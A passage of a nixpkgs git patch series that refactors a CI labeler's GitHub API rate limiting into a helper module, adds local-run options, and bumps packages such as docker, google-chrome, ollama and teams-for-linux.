-    // We do less than a handful each run, so not implementing throttling for now.
-    if (options.url.startsWith('/search/')) return request(options)
-    stats.requests++
-    if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(options.method))
-      return writeLimits.schedule(request.bind(null, options))
-    else return allLimits.schedule(request.bind(null, options))
-  })
-
-  async function updateReservoir() {
-    let response
-    try {
-      response = await github.rest.rateLimit.get()
-    } catch (err) {
-      core.error(`Failed updating reservoir:\n${err}`)
-      // Keep retrying on failed rate limit requests instead of exiting the script early.
-      return
-    }
-    // Always keep 1000 spare requests for other jobs to do their regular duty.
-    // They normally use below 100, so 1000 is *plenty* of room to work with.
-    const reservoir = Math.max(0, response.data.resources.core.remaining - 1000)
-    core.info(`Updating reservoir to: ${reservoir}`)
-    allLimits.updateSettings({ reservoir })
-  }
-  await updateReservoir()
-  // Update remaining requests every minute to account for other jobs running in parallel.
-  const reservoirUpdater = setInterval(updateReservoir, 60 * 1000)
-
-  async function handlePullRequest(item) {
+  async function handlePullRequest({ item, stats }) {
     const log = (k, v) => core.info(`PR #${item.number} - ${k}: ${v}`)
 
     const pull_number = item.number
@@ -221,7 +172,7 @@ module.exports = async function ({ github, context, core, dry }) {
     return prLabels
   }
 
-  async function handle(item) {
+  async function handle({ item, stats }) {
     try {
       const log = (k, v, skip) => {
         core.info(`#${item.number} - ${k}: ${v}` + (skip ? ' (skipped)' : ''))
@@ -237,7 +188,7 @@ module.exports = async function ({ github, context, core, dry }) {
 
       if (item.pull_request || context.payload.pull_request) {
         stats.prs++
-        Object.assign(itemLabels, await handlePullRequest(item))
+        Object.assign(itemLabels, await handlePullRequest({ item, stats }))
       } else {
         stats.issues++
       }
@@ -326,9 +277,9 @@ module.exports = async function ({ github, context, core, dry }) {
     }
   }
 
-  try {
+  await withRateLimit({ github, core }, async (stats) => {
     if (context.payload.pull_request) {
-      await handle(context.payload.pull_request)
+      await handle({ item: context.payload.pull_request, stats })
     } else {
       const lastRun = (
         await github.rest.actions.listWorkflowRuns({
@@ -447,17 +398,11 @@ module.exports = async function ({ github, context, core, dry }) {
             arr.findIndex((firstItem) => firstItem.number == thisItem.number),
         )
 
-      ;(await Promise.allSettled(items.map(handle)))
+      ;(await Promise.allSettled(items.map((item) => handle({ item, stats }))))
         .filter(({ status }) => status == 'rejected')
         .map(({ reason }) =>
           core.setFailed(`${reason.message}\n${reason.cause.stack}`),
         )
-
-      core.notice(
-        `Processed ${stats.prs} PRs, ${stats.issues} Issues, made ${stats.requests + stats.artifacts} API requests and downloaded ${stats.artifacts} artifacts.`,
-      )
     }
-  } finally {
-    clearInterval(reservoirUpdater)
-  }
+  })
 }
diff --git a/ci/github-script/withRateLimit.js b/ci/github-script/withRateLimit.js
new file mode 100644
index 000000000000..03fbd54291a8
--- /dev/null
+++ b/ci/github-script/withRateLimit.js
@@ -0,0 +1,61 @@
+module.exports = async function ({ github, core }, callback) {
+  const Bottleneck = require('bottleneck')
+
+  const stats = {
+    issues: 0,
+    prs: 0,
+    requests: 0,
+    artifacts: 0,
+  }
+
+  // Rate-Limiting and Throttling, see for details:
+  //   https://github.com/octokit/octokit.js/issues/1069#throttling
+  //   https://docs.github.com/en/rest/using-the-rest-api/best-practices-for-using-the-rest-api
+  const allLimits = new Bottleneck({
+    // Avoid concurrent requests
+    maxConcurrent: 1,
+    // Will be updated with first `updateReservoir()` call below.
+    reservoir: 0,
+  })
+  // Pause between mutative requests
+  const writeLimits = new Bottleneck({ minTime: 1000 }).chain(allLimits)
+  github.hook.wrap('request', async (request, options) => {
+    // Requests to the /rate_limit endpoint do not count against the rate limit.
+    if (options.url == '/rate_limit') return request(options)
+    // Search requests are in a different resource group, which allows 30 requests / minute.
+    // We do less than a handful each run, so not implementing throttling for now.
+    if (options.url.startsWith('/search/')) return request(options)
+    stats.requests++
+    if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(options.method))
+      return writeLimits.schedule(request.bind(null, options))
+    else return allLimits.schedule(request.bind(null, options))
+  })
+
+  async function updateReservoir() {
+    let response
+    try {
+      response = await github.rest.rateLimit.get()
+    } catch (err) {
+      core.error(`Failed updating reservoir:\n${err}`)
+      // Keep retrying on failed rate limit requests instead of exiting the script early.
+      return
+    }
+    // Always keep 1000 spare requests for other jobs to do their regular duty.
+    // They normally use below 100, so 1000 is *plenty* of room to work with.
+    const reservoir = Math.max(0, response.data.resources.core.remaining - 1000)
+    core.info(`Updating reservoir to: ${reservoir}`)
+    allLimits.updateSettings({ reservoir })
+  }
+  await updateReservoir()
+  // Update remaining requests every minute to account for other jobs running in parallel.
+  const reservoirUpdater = setInterval(updateReservoir, 60 * 1000)
+
+  try {
+    await callback(stats)
+  } finally {
+    clearInterval(reservoirUpdater)
+    core.notice(
+      `Processed ${stats.prs} PRs, ${stats.issues} Issues, made ${stats.requests + stats.artifacts} API requests and downloaded ${stats.artifacts} artifacts.`,
+    )
+  }
+}

From e08df866186d8aa9ab4c30aff9513cfb7fc1eda6 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 13 Jul 2025 18:58:35 +0200
Subject: [PATCH 2452/4511] ci/github-script: allow running for single PR

Makes specific tests in the upstream repo easier to do.

(cherry picked from commit 97d410394634b8bb5963faba4dec6bfda6f67661)
---
 ci/github-script/run | 21 ++++++++++++++++-----
 1 file changed, 16 insertions(+), 5 deletions(-)

diff --git a/ci/github-script/run b/ci/github-script/run
index 1b670a8b2875..8241da429eeb 100755
--- a/ci/github-script/run
+++ b/ci/github-script/run
@@ -6,18 +6,28 @@ import { join } from 'node:path'
 import { program } from 'commander'
 import { getOctokit } from '@actions/github'
 
-async function run(action, owner, repo) {
+async function run(action, owner, repo, pull_number) {
   const token = execSync('gh auth token', { encoding: 'utf-8' }).trim()
 
+  const github = getOctokit(token)
+
+  const payload = !pull_number ? {} : {
+    pull_request: (await github.rest.pulls.get({
+      owner,
+      repo,
+      pull_number,
+    })).data
+  }
+
   const tmp = mkdtempSync(join(tmpdir(), 'github-script-'))
   try {
     process.env.GITHUB_WORKSPACE = tmp
     process.chdir(tmp)
 
     await action({
-      github: getOctokit(token),
+      github,
       context: {
-        payload: {},
+        payload,
         repo: {
           owner,
           repo,
@@ -47,9 +57,10 @@ program
   .description('Manage labels on pull requests.')
   .argument('<owner>', 'Owner of the GitHub repository to label (Example: NixOS)')
   .argument('<repo>', 'Name of the GitHub repository to label (Example: nixpkgs)')
-  .action(async (owner, repo) => {
+  .argument('[pr]', 'Number of the Pull Request to label')
+  .action(async (owner, repo, pr) => {
     const labels = (await import('./labels.js')).default
-    run(labels, owner, repo)
+    run(labels, owner, repo, pr)
   })
 
 await program.parse()

From 1f03cc9d69b23efb81faf6e3e8de651f6b43473d Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 13 Jul 2025 18:59:07 +0200
Subject: [PATCH 2453/4511] ci/github-script: allow running without dry mode

(cherry picked from commit d71b8c3680b5eb0a2cfcacc1972b37dd051ff028)
---
 ci/github-script/run | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/ci/github-script/run b/ci/github-script/run
index 8241da429eeb..cbf3ea9315e0 100755
--- a/ci/github-script/run
+++ b/ci/github-script/run
@@ -6,7 +6,7 @@ import { join } from 'node:path'
 import { program } from 'commander'
 import { getOctokit } from '@actions/github'
 
-async function run(action, owner, repo, pull_number) {
+async function run(action, owner, repo, pull_number, dry) {
   const token = execSync('gh auth token', { encoding: 'utf-8' }).trim()
 
   const github = getOctokit(token)
@@ -45,7 +45,7 @@ async function run(action, owner, repo, pull_number) {
           process.exitCode = 1
         },
       },
-      dry: true,
+      dry,
     })
   } finally {
     rmSync(tmp, { recursive: true })
@@ -58,9 +58,10 @@ program
   .argument('<owner>', 'Owner of the GitHub repository to label (Example: NixOS)')
   .argument('<repo>', 'Name of the GitHub repository to label (Example: nixpkgs)')
   .argument('[pr]', 'Number of the Pull Request to label')
-  .action(async (owner, repo, pr) => {
+  .option('--no-dry', 'Make actual modifications')
+  .action(async (owner, repo, pr, options) => {
     const labels = (await import('./labels.js')).default
-    run(labels, owner, repo, pr)
+    run(labels, owner, repo, pr, options.dry)
   })
 
 await program.parse()

From d86a0128520651fbff964d4142285243238ab4c8 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 14 Jul 2025 10:34:25 +0200
Subject: [PATCH 2454/4511] ci/github-script: add gh dependency to dev shell

(cherry picked from commit cdd1931ace63fb69056d7b1b978a5d866b981fe5)
---
 ci/github-script/README.md | 2 +-
 ci/github-script/shell.nix | 4 +++-
 2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/ci/github-script/README.md b/ci/github-script/README.md
index 8ffff0c40922..caf52eb5bba3 100644
--- a/ci/github-script/README.md
+++ b/ci/github-script/README.md
@@ -5,8 +5,8 @@ It provides a `nix-shell` environment to run and test these actions locally.
 
 To run any of the scripts locally:
 
-- Provide `gh` on `PATH` and make sure it's authenticated.
 - Enter `nix-shell` in `./ci/github-script`.
+- Ensure `gh` is authenticated.
 
 ## Labeler
 
diff --git a/ci/github-script/shell.nix b/ci/github-script/shell.nix
index dd84ba3ad73d..82f03de4b1a0 100644
--- a/ci/github-script/shell.nix
+++ b/ci/github-script/shell.nix
@@ -5,12 +5,14 @@
 
 pkgs.callPackage (
   {
-    mkShell,
+    gh,
     importNpmLock,
+    mkShell,
     nodejs,
   }:
   mkShell {
     packages = [
+      gh
       importNpmLock.hooks.linkNodeModulesHook
       nodejs
     ];

From 6ae88a358f1d9184b94d2231277272e33f74d837 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 14 Jul 2025 02:12:44 +0000
Subject: [PATCH 2455/4511] ollama: 0.9.5 -> 0.9.6

(cherry picked from commit 1bed5128f716fc3e2833e3b7695fd2374bf317f9)
---
 pkgs/by-name/ol/ollama/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ol/ollama/package.nix b/pkgs/by-name/ol/ollama/package.nix
index 1e5d79cdb81b..ee48d94116c3 100644
--- a/pkgs/by-name/ol/ollama/package.nix
+++ b/pkgs/by-name/ol/ollama/package.nix
@@ -117,13 +117,13 @@ in
 goBuild (finalAttrs: {
   pname = "ollama";
   # don't forget to invalidate all hashes each update
-  version = "0.9.5";
+  version = "0.9.6";
 
   src = fetchFromGitHub {
     owner = "ollama";
     repo = "ollama";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-QP70s6gPL1GJv5G4VhYwWpf5raRIcOVsjPq3Jdw89eU=";
+    hash = "sha256-fVbHz/Sa3aSIYBic3lNQl5iUYo+9LHIk52vO9mx6XRE=";
     fetchSubmodules = true;
   };
 

From 5fe0fdb9806bfe723fbab051789fe22049bfcdea Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Tue, 15 Jul 2025 15:39:24 +0200
Subject: [PATCH 2456/4511] froide: loosen dependency pinning

---
 pkgs/by-name/fr/froide/package.nix | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/fr/froide/package.nix b/pkgs/by-name/fr/froide/package.nix
index 10fed1c6e595..674e7e3bc145 100644
--- a/pkgs/by-name/fr/froide/package.nix
+++ b/pkgs/by-name/fr/froide/package.nix
@@ -51,10 +51,16 @@ python.pkgs.buildPythonApplication rec {
 
   patches = [ ./django_42_storages.patch ];
 
-  # Relax dependency pinning
-  # Channels: https://github.com/okfde/froide/issues/995
   pythonRelaxDeps = [
+    # Relax dependency pinning
+    # Channels: https://github.com/okfde/froide/issues/995
     "channels"
+    "django-celery-beat"
+    "django-leaflet"
+    "django"
+    "pikepdf"
+    "pypdf"
+    "reportlab"
   ];
 
   build-system = [ python.pkgs.setuptools ];

From a7cef20df0d62601a99e0fdd7ac056c9f8e76521 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Fri, 4 Jul 2025 15:57:50 +0200
Subject: [PATCH 2457/4511] docker: 28.2.2 -> 28.3.2

https://github.com/moby/moby/compare/v28.2.2...v28.3.2
https://github.com/docker/cli/compare/v28.2.2...v28.3.2
(cherry picked from commit 354336f686e97ede48034f0da42f2e54972d0d44)
---
 pkgs/applications/virtualization/docker/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/virtualization/docker/default.nix b/pkgs/applications/virtualization/docker/default.nix
index 4ad1ce630e82..b83e32e27da7 100644
--- a/pkgs/applications/virtualization/docker/default.nix
+++ b/pkgs/applications/virtualization/docker/default.nix
@@ -411,11 +411,11 @@ rec {
   };
 
   docker_28 = callPackage dockerGen rec {
-    version = "28.2.2";
+    version = "28.3.2";
     cliRev = "v${version}";
-    cliHash = "sha256-ZaKG4H8BqIzgs9OFktH9bjHSf9exAlh5kPCGP021BWI=";
+    cliHash = "sha256-LsV9roOPw0LccvBUeF3bY014OwG6QpnVsLf+dqKyvsg=";
     mobyRev = "v${version}";
-    mobyHash = "sha256-Y2yP2NBJLrI83iHe2EoA7/cXiQifrCkUKlwJhINKBXE=";
+    mobyHash = "sha256-YfdnCAc9NgLTuvxLHGhTPdWqXz9VSVsQsfzLD3YER3g=";
     runcRev = "v1.2.6";
     runcHash = "sha256-XMN+YKdQOQeOLLwvdrC6Si2iAIyyHD5RgZbrOHrQE/g=";
     containerdRev = "v1.7.27";

From 9c6470fa1796ddb1d616ad27f914751af4229986 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Fri, 11 Jul 2025 10:04:26 +0200
Subject: [PATCH 2458/4511] docker_25: 25.0.10 -> 25.0.11

https://github.com/moby/moby/milestone/197?closed=1

Upstream did not tag a new release for docker/cli, and there are no new
commits in the 25.0 branch:
https://github.com/docker/cli/compare/43987fca488a535d810c429f75743d8c7b63bf4f...25.0

https://github.com/moby/moby/compare/v25.0.10...v25.0.11
(cherry picked from commit 651d395beb3a01e52827bfe236537b514ad876f0)
---
 pkgs/applications/virtualization/docker/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/virtualization/docker/default.nix b/pkgs/applications/virtualization/docker/default.nix
index b83e32e27da7..b54d4ad4ea0c 100644
--- a/pkgs/applications/virtualization/docker/default.nix
+++ b/pkgs/applications/virtualization/docker/default.nix
@@ -367,13 +367,13 @@ rec {
   # Get revisions from
   # https://github.com/moby/moby/tree/${version}/hack/dockerfile/install/*
   docker_25 = callPackage dockerGen rec {
-    version = "25.0.10";
+    version = "25.0.11";
     # Upstream forgot to tag release
     # https://github.com/docker/cli/issues/5789
     cliRev = "43987fca488a535d810c429f75743d8c7b63bf4f";
     cliHash = "sha256-OwufdfuUPbPtgqfPeiKrQVkOOacU2g4ommHb770gV40=";
     mobyRev = "v${version}";
-    mobyHash = "sha256-57iXL+QYtbEz099yOTR4k/2Z7CT08OAkQ3kVJSmsa/U=";
+    mobyHash = "sha256-vHHi0/sX9fm83gyUjDpRYTGV9h18IVia1oSmj4n31nc=";
     runcRev = "v1.2.5";
     runcHash = "sha256-J/QmOZxYnMPpzm87HhPTkYdt+fN+yeSUu2sv6aUeTY4=";
     containerdRev = "v1.7.27";

From 01a21ff918c4b24ab4f6ea3c6b6ce278ab67d033 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 10 Jun 2025 19:56:12 +0000
Subject: [PATCH 2459/4511] firewalld: 2.3.0 -> 2.3.1

(cherry picked from commit 938a6b2212dd7e471c1ffe1304093837d1a2fc4d)
---
 pkgs/by-name/fi/firewalld/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/fi/firewalld/package.nix b/pkgs/by-name/fi/firewalld/package.nix
index 7772c2c0fa71..51ee769c84ac 100644
--- a/pkgs/by-name/fi/firewalld/package.nix
+++ b/pkgs/by-name/fi/firewalld/package.nix
@@ -44,13 +44,13 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "firewalld";
-  version = "2.3.0";
+  version = "2.3.1";
 
   src = fetchFromGitHub {
     owner = "firewalld";
     repo = "firewalld";
     rev = "v${version}";
-    sha256 = "sha256-ubE1zMIOcdg2+mgXsk6brCZxS1XkvJYwVY3E+UXIIiU=";
+    sha256 = "sha256-ONpyJJjIn5kEnkudZe4Nf67wdQgWa+2qEkT1nxRBDpI=";
   };
 
   patches = [

From b49d68e48ebcfbf7a9d9d028edf3252ae4d15c11 Mon Sep 17 00:00:00 2001
From: Minijackson <minijackson@riseup.net>
Date: Fri, 11 Jul 2025 14:02:13 +0200
Subject: [PATCH 2460/4511] python3Packages.drf-extra-fields: fix tests
 exclusion

The pytz failure doesn't depend on the Python version.
This fixes the netbox-document plugin on NixOS 25.05.

(cherry picked from commit 9f086440849df609fce12bcb64614d6e766c9a2e)
---
 .../drf-extra-fields/default.nix              | 22 ++++++++++---------
 1 file changed, 12 insertions(+), 10 deletions(-)

diff --git a/pkgs/development/python-modules/drf-extra-fields/default.nix b/pkgs/development/python-modules/drf-extra-fields/default.nix
index 431ad99e0d19..9ffeddfab9bb 100644
--- a/pkgs/development/python-modules/drf-extra-fields/default.nix
+++ b/pkgs/development/python-modules/drf-extra-fields/default.nix
@@ -48,16 +48,18 @@ buildPythonPackage rec {
 
   pythonImportsCheck = [ "drf_extra_fields" ];
 
-  disabledTests = lib.optionals (pythonAtLeast "3.13") [
-    # https://github.com/Hipo/drf-extra-fields/issues/210
-    "test_read_source_with_context"
-
-    # pytz causes the following tests to fail
-    "test_create"
-    "test_create_with_base64_prefix"
-    "test_create_with_webp_image"
-    "test_remove_with_empty_string"
-  ];
+  disabledTests =
+    [
+      # pytz causes the following tests to fail
+      "test_create"
+      "test_create_with_base64_prefix"
+      "test_create_with_webp_image"
+      "test_remove_with_empty_string"
+    ]
+    ++ lib.optionals (pythonAtLeast "3.13") [
+      # https://github.com/Hipo/drf-extra-fields/issues/210
+      "test_read_source_with_context"
+    ];
 
   meta = {
     description = "Extra Fields for Django Rest Framework";

From ba8d498c9cd3a99118c95bdd1429a263e7577a7b Mon Sep 17 00:00:00 2001
From: Moritz Vogel <moritzv7@gmail.com>
Date: Tue, 15 Jul 2025 14:31:47 +0200
Subject: [PATCH 2461/4511] proxmoxer: disable flaky test

(cherry picked from commit 2423327073c1659f96029f2c38f564044b673c4b)
---
 pkgs/development/python-modules/proxmoxer/default.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/development/python-modules/proxmoxer/default.nix b/pkgs/development/python-modules/proxmoxer/default.nix
index 2b3abbe28352..8bd6804fd9ce 100644
--- a/pkgs/development/python-modules/proxmoxer/default.nix
+++ b/pkgs/development/python-modules/proxmoxer/default.nix
@@ -46,6 +46,9 @@ buildPythonPackage rec {
   disabledTests = [
     # Tests require openssh_wrapper which is outdated and not available
     "test_repr_openssh"
+
+    # Test fails randomly
+    "test_timeout"
   ];
 
   pythonImportsCheck = [ "proxmoxer" ];

From 807985b69b09b944bc1dd4aef7cac6016ac015ad Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 15 Jul 2025 13:39:21 +0000
Subject: [PATCH 2462/4511] google-chrome: 138.0.7204.92 -> 138.0.7204.100

(cherry picked from commit ca166dbf30d333a4b1c3695c29697815186f27c4)
---
 pkgs/by-name/go/google-chrome/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/go/google-chrome/package.nix b/pkgs/by-name/go/google-chrome/package.nix
index 6b997ece78f5..27dd1eab9d8c 100644
--- a/pkgs/by-name/go/google-chrome/package.nix
+++ b/pkgs/by-name/go/google-chrome/package.nix
@@ -171,11 +171,11 @@ let
 
   linux = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "138.0.7204.92";
+    version = "138.0.7204.100";
 
     src = fetchurl {
       url = "https://dl.google.com/linux/chrome/deb/pool/main/g/google-chrome-stable/google-chrome-stable_${finalAttrs.version}-1_amd64.deb";
-      hash = "sha256-9HaUIvJEw6PqinEnpam/Dh5+6XPJ2ou+j8Jfhc7nd/E=";
+      hash = "sha256-H22aDTMvbUsbBWasGjCP1dUKmYzD9/6TIzfBpahAnA8=";
     };
 
     # With strictDeps on, some shebangs were not being patched correctly
@@ -276,11 +276,11 @@ let
 
   darwin = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "138.0.7204.93";
+    version = "138.0.7204.101";
 
     src = fetchurl {
-      url = "http://dl.google.com/release2/chrome/k3cs4pgesvh4zq3jml7x52esia_138.0.7204.93/GoogleChrome-138.0.7204.93.dmg";
-      hash = "sha256-IEcwjrtNMMSjwNCrINjXRbnSI0Uf2JKtA+KwvQc5Fhc=";
+      url = "http://dl.google.com/release2/chrome/h7v73czgelyzwk2xfcs2gkpkwm_138.0.7204.101/GoogleChrome-138.0.7204.101.dmg";
+      hash = "sha256-gG20H5QsVmnfRi+Zo+OiLTLlPP2cLp6W+JaJoRE0QtI=";
     };
 
     dontPatch = true;

From 33f73aef0451a842b4ba42b67cdbdc91e1322460 Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Sat, 12 Jul 2025 01:15:26 -0600
Subject: [PATCH 2463/4511] python3Packages.tidalapi: 0.8.3 -> 0.8.4

https://github.com/EbbLabs/python-tidal/releases/tag/v0.8.4
Diff: https://github.com/EbbLabs/python-tidal/compare/v0.8.3...v0.8.4
(cherry picked from commit 696ecc14107e4d7c3aedbfbedf342a61baa45485)
---
 .../python-modules/tidalapi/default.nix       | 20 ++++++++++++-------
 1 file changed, 13 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/python-modules/tidalapi/default.nix b/pkgs/development/python-modules/tidalapi/default.nix
index 956846ba82f1..628893235352 100644
--- a/pkgs/development/python-modules/tidalapi/default.nix
+++ b/pkgs/development/python-modules/tidalapi/default.nix
@@ -1,7 +1,7 @@
 {
   lib,
   buildPythonPackage,
-  fetchPypi,
+  fetchFromGitHub,
   python-dateutil,
   poetry-core,
   requests,
@@ -12,15 +12,19 @@
 }:
 buildPythonPackage rec {
   pname = "tidalapi";
-  version = "0.8.3";
+  version = "0.8.4";
   pyproject = true;
 
-  src = fetchPypi {
-    inherit pname version;
-    hash = "sha256-3I5Xi9vmyAlUNKBmmTuGnetaiiVzL3sEEy31npRZlFU=";
+  src = fetchFromGitHub {
+    owner = "EbbLabs";
+    repo = "python-tidal";
+    tag = "v${version}";
+    hash = "sha256-PSM4aLjvG8b2HG86SCLgPjPo8PECVD5XrNZSbiAxcSk=";
   };
 
-  build-system = [ poetry-core ];
+  build-system = [
+    poetry-core
+  ];
 
   dependencies = [
     requests
@@ -33,7 +37,9 @@ buildPythonPackage rec {
 
   doCheck = false; # tests require internet access
 
-  pythonImportsCheck = [ "tidalapi" ];
+  pythonImportsCheck = [
+    "tidalapi"
+  ];
 
   meta = {
     changelog = "https://github.com/tamland/python-tidal/blob/v${version}/HISTORY.rst";

From a17503bf28a785f63ce42a66d112e31119587a1d Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Sat, 12 Jul 2025 01:16:50 -0600
Subject: [PATCH 2464/4511] python3Packages.tidalapi: add ryand56 as maintainer

(cherry picked from commit 5fd33bd90e8ad9ff7acba0c7d8ba27ed1aab0002)
---
 pkgs/development/python-modules/tidalapi/default.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/python-modules/tidalapi/default.nix b/pkgs/development/python-modules/tidalapi/default.nix
index 628893235352..875a2af1cff9 100644
--- a/pkgs/development/python-modules/tidalapi/default.nix
+++ b/pkgs/development/python-modules/tidalapi/default.nix
@@ -46,6 +46,9 @@ buildPythonPackage rec {
     description = "Unofficial Python API for TIDAL music streaming service";
     homepage = "https://github.com/tamland/python-tidal";
     license = lib.licenses.gpl3;
-    maintainers = with lib.maintainers; [ drawbu ];
+    maintainers = with lib.maintainers; [
+      drawbu
+      ryand56
+    ];
   };
 }

From e56618056192a75d359750f937e02f8dcdf5b825 Mon Sep 17 00:00:00 2001
From: Jon Hermansen <jon@jh86.org>
Date: Thu, 10 Jul 2025 17:50:23 -0400
Subject: [PATCH 2465/4511] microsoft-edge: 138.0.3351.77 -> 138.0.3351.83

(cherry picked from commit 7dc2414beb3a8aad4719428e40b14f86740f0754)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index f46ebf573dd7..87fc45285489 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -179,11 +179,11 @@ in
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "microsoft-edge";
-  version = "138.0.3351.77";
+  version = "138.0.3351.83";
 
   src = fetchurl {
     url = "https://packages.microsoft.com/repos/edge/pool/main/m/microsoft-edge-stable/microsoft-edge-stable_${finalAttrs.version}-1_amd64.deb";
-    hash = "sha256-8D0aYlzkp5ol7s6m1342BJONiiQgyZeClREFw0mZqHY=";
+    hash = "sha256-NcDw2483l+VmBgr4Ue2vZmFFs3ZdWJvsfsub7stMEOE=";
   };
 
   # With strictDeps on, some shebangs were not being patched correctly

From 6ab13f46c88c47b1181b7a9729827f8bceeab68e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 17 May 2025 17:28:06 +0000
Subject: [PATCH 2466/4511] teams-for-linux: 2.0.12 -> 2.0.13

(cherry picked from commit d35f4a4cbe18b1ea0b8655e30bc29c242f426f2f)
Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
---
 pkgs/by-name/te/teams-for-linux/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/te/teams-for-linux/package.nix b/pkgs/by-name/te/teams-for-linux/package.nix
index 8ab12c6eb5bf..f4e1769e8caf 100644
--- a/pkgs/by-name/te/teams-for-linux/package.nix
+++ b/pkgs/by-name/te/teams-for-linux/package.nix
@@ -16,16 +16,16 @@
 
 buildNpmPackage rec {
   pname = "teams-for-linux";
-  version = "2.0.12";
+  version = "2.0.13";
 
   src = fetchFromGitHub {
     owner = "IsmaelMartinez";
     repo = "teams-for-linux";
     tag = "v${version}";
-    hash = "sha256-FTXwDwdXeXAa6Nk73WPPrxyrXvQ8Yg9tqtdkeekK4x8=";
+    hash = "sha256-xkVJ8PrW2huf3oNVSYySQnzKPadsYFXnrMgi+mFXBQU=";
   };
 
-  npmDepsHash = "sha256-uwohbVV6zNdLmLgSihJsqRxm5ZR8P8mHeZdbCYjA78w=";
+  npmDepsHash = "sha256-jDJH/lAbmUURMkdv49S1KeE4I/MOEzK0ZDWh1sbnzXY=";
 
   nativeBuildInputs = [
     makeWrapper

From 0682152ca6223692d84d0f836f4331758caf81d9 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 27 May 2025 17:48:49 +0000
Subject: [PATCH 2467/4511] teams-for-linux: 2.0.13 -> 2.0.14

(cherry picked from commit c839ac340b7890d9e617eeee7bd143d3d77ae0b6)
Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
---
 pkgs/by-name/te/teams-for-linux/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/te/teams-for-linux/package.nix b/pkgs/by-name/te/teams-for-linux/package.nix
index f4e1769e8caf..434226ffef39 100644
--- a/pkgs/by-name/te/teams-for-linux/package.nix
+++ b/pkgs/by-name/te/teams-for-linux/package.nix
@@ -16,16 +16,16 @@
 
 buildNpmPackage rec {
   pname = "teams-for-linux";
-  version = "2.0.13";
+  version = "2.0.14";
 
   src = fetchFromGitHub {
     owner = "IsmaelMartinez";
     repo = "teams-for-linux";
     tag = "v${version}";
-    hash = "sha256-xkVJ8PrW2huf3oNVSYySQnzKPadsYFXnrMgi+mFXBQU=";
+    hash = "sha256-B7u5xJHss09QOP1AHoHZWIiHyd2RBcF/XU3BB9N2C60=";
   };
 
-  npmDepsHash = "sha256-jDJH/lAbmUURMkdv49S1KeE4I/MOEzK0ZDWh1sbnzXY=";
+  npmDepsHash = "sha256-JJUkZlol09Hehxc26DMdEzdxy8Nxa16G8YdTZkHhi78=";
 
   nativeBuildInputs = [
     makeWrapper

From 8135af27aef05e87c22f89261bfc807e40acc1b6 Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Sun, 15 Jun 2025 00:01:04 -0600
Subject: [PATCH 2468/4511] teams-for-linux: 2.0.14 -> 2.0.16

Diff: https://github.com/IsmaelMartinez/teams-for-linux/compare/v2.0.14...v2.0.16
(cherry picked from commit 46c0493cc65d22bcc202a8185a6b93903c6c4ff2)
Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
---
 pkgs/by-name/te/teams-for-linux/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/te/teams-for-linux/package.nix b/pkgs/by-name/te/teams-for-linux/package.nix
index 434226ffef39..5d2c282439ce 100644
--- a/pkgs/by-name/te/teams-for-linux/package.nix
+++ b/pkgs/by-name/te/teams-for-linux/package.nix
@@ -16,16 +16,16 @@
 
 buildNpmPackage rec {
   pname = "teams-for-linux";
-  version = "2.0.14";
+  version = "2.0.16";
 
   src = fetchFromGitHub {
